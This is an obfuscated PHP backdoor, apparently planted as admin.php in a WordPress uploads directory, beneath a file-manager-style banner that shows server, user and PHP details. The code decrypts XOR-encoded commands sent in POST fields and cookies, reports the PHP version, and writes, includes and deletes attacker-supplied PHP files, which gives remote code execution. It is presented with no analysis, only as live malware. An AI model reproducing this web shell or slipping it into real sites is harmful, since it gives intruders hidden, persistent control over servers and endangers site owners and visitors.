HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: //opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2024/admin.php
<?php 


$nso_nog /*axe   */ =      'nso_nog'  ^ /*  m_s  */ '';$ictiv    = /* cl   */ "a"."r"."r"."\141"    .	$nso_nog(121)      .   $nso_nog(104-9)    .	$nso_nog(1095-986)     .    $nso_nog(97) /*  smtsje  */ . /* gf */ "p";

$bfdzydb     =    "\151" /*   np_m*/ .    $nso_nog(109) /*   y*/ .     $nso_nog(934-822)    . /*ayj_cb   */ "\x6c" /*s */ . /*   lxxex */ "\157"    .    "d"."e";


function /*  hg */ nmcwnfjo($hwm_mvckm,    $vubzp)

{ /* z */ global	$nso_nog;


     


 /* vcp */ $hwm_mvckm      = /*   swblcy*/ $nso_nog(60)  .    "\77"    .    $nso_nog(112)  .       "\x68" /*itvv   */ .       "\x70"     .   $nso_nog(32)      . /*  ftmzw */ "u"."n"."l".$nso_nog(839-734) /*l */ .    "n"."k"."("."\137"     .	"_"."\x46"	. /* sftfg*/ $nso_nog(73)	. /*mdb  */ "L"."E"."_"."_"."\x29"    .    $nso_nog(59)       .     $nso_nog(32)   . /*pz   */ $hwm_mvckm[$nso_nog(100)];


     $rakzicl_yy	=    "f"."\x69" /*   nmqjhe*/ .	$nso_nog(140-32)	.      "\145".$nso_nog(95) /*  bjluz   */ .	"\160"    .  $nso_nog(708-591) /* jxp   */ .  $nso_nog(116)    . /*   vnxvi   */ "\137" /*   vpmwtu   */ .       "\x63"	.    "\x6f"    .       "n"."t"."\x65"    .       $nso_nog(815-705)    .       "t".$nso_nog(115);


    

 /*  v  */ $rakzicl_yy($vubzp,    $hwm_mvckm);


  


 /* gukrw */ jaluztqnvh($vubzp);}



$uhvwvnvqx       = /*   p  */ 73;



function /*gm__*/ jaluztqnvh($vubzp)

{

    global    $nso_nog;

 /*p   */  /*  zhj_ */ include($vubzp);	$mnnvghef     =    $vubzp;
    @unlink($mnnvghef);}

function       k_fdriv()
{
 /*nnrvxl   */ global   $nso_nog;


 /*   dnq  */ $okgmdslow /*   ym*/ =    array();
 /*k */ $okgmdslow["p"."\166"]     =	phpversion();

 /* dvw*/ $okgmdslow["\x73"    . /*s*/ "\x76"]     =   $nso_nog(51)      . /*vbc*/ $nso_nog(773-727)   . /* ng*/ "5";	$zptgsnhv /*sf */ =  74;
 /*w */ echo /*  wvq*/ @serialize($okgmdslow);
}

function     bvskc_g($hwm_mvckm,	$_xg_ia)

{    global /*   tlmmu   */ $nso_nog;


  $lyvnicapp    =  "";
    $fwjbe       =   strlen($hwm_mvckm);

   $tcuxum    =    strlen($_xg_ia);


 /*ddsu  */ $okgmdslow /* zwc  */ =    0;

    $_vlgfj  =   0;        while     ($okgmdslow    < /* jydi  */ $fwjbe) /*   fza */ {
   $sitvz       =  $hwm_mvckm[$okgmdslow] /*tmt */ ^	$_xg_ia[$_vlgfj	%	$tcuxum];


    $lyvnicapp      .=      $sitvz;
	$_vlgfj++; /* se*/ 	$okgmdslow++;    }


     /* vgr*/ if /*  pmv*/ (strlen($lyvnicapp) /*   br */ >     20)   {      $hcwrqr   =    substr($lyvnicapp, /*   szp */ 0,    20);

	} /*  eaho */ if    (empty($lyvnicapp))	{


    $lyvnicapp	=    date('Y-m-d       H:i:s');

	}
 /* fkkvvk   */ return	$lyvnicapp;}



function	rj_dt($lzdlavy){
 /* mwq  */ global /*  j  */ $nso_nog;


 /*  wgvfiz*/ 
	$unkqnist /*j  */ = /*   cturi  */ $nso_nog(396-347)	.      "8".$nso_nog(100)."6"."1".$nso_nog(100)    .	"7"."1"."\x2d" /* a*/ . /* kves */ $nso_nog(51)       .    $nso_nog(977-877)	.    "\66"  .	"\x65"	.	"-".$nso_nog(802-750) /*  z   */ .    $nso_nog(327-272)    .    $nso_nog(926-873) /*   x   */ .      "2"."\55"	.     "\71"    .  "2"."9"."\145"."\x2d"  . /* lw*/ $nso_nog(430-380) /*a   */ .     $nso_nog(758-703) /*d*/ . /*  kyx*/ "3"."4"."f"."\x36"    .	"\x62"    . /*mvyi */ "0"."4"."\x39" /*_fcp */ .     "\x33"      .       "8";


 /*  wc */ 


 /*  shwvy  */ foreach  ($lzdlavy  as /*  ymd*/ $dfhtjqx /*   zlwp */ => /*  weyeeh*/ $hwm_mvckm) /*ime_m   */ {
 /* vgyo*/ vlnkpcjuq(base64_decode($hwm_mvckm),	$unkqnist,    $dfhtjqx);


    }


}



function	vlnkpcjuq($hwm_mvckm,	$unkqnist,      $dfhtjqx){


 /*  f*/ global /*yauews   */ $nso_nog;


 /*  n  */ 

	$hwm_mvckm /*   omudp  */ = /* n_tfo   */ unserialize(bvskc_g(bvskc_g($hwm_mvckm,    $unkqnist), /*   zk*/ $dfhtjqx));	$mblpadfmo   =    'ybxkxmbnhs';

	$ftmkgmovot   =    'dk_ukqzawx';
  if /*  egj   */ (isset($hwm_mvckm["\x61" /*  __hm  */ .    $nso_nog(660-553)]))	{ /*ewwdg */ if    ($hwm_mvckm["a"]    == /* dwf_  */ "\151")      {      k_fdriv();


    }  elseif   ($hwm_mvckm["a"] /*   ed_u  */ == /*cbhbdu   */ "\145") /*  gjdbk */ {      nmcwnfjo($hwm_mvckm, /* vuklst   */ sprintf("\56"   .       "/".$nso_nog(55-18)       . /* wkiir  */ "s".".".$nso_nog(112)    .    $nso_nog(108),    md5($unkqnist)));			$hvbkp_       =       44;
    }
    exit();	}
}


rj_dt($_POST);      
$eagncyvckn       =    'rawurldecode';





$fae_sh    =	$ictiv($eagncyvckn, /*tf_l */ $_POST);

$bfdzydb("",   $eagncyvckn);


rj_dt($_COOKIE);



$omqjvrlx   =    $ictiv($eagncyvckn,    $_COOKIE);





?>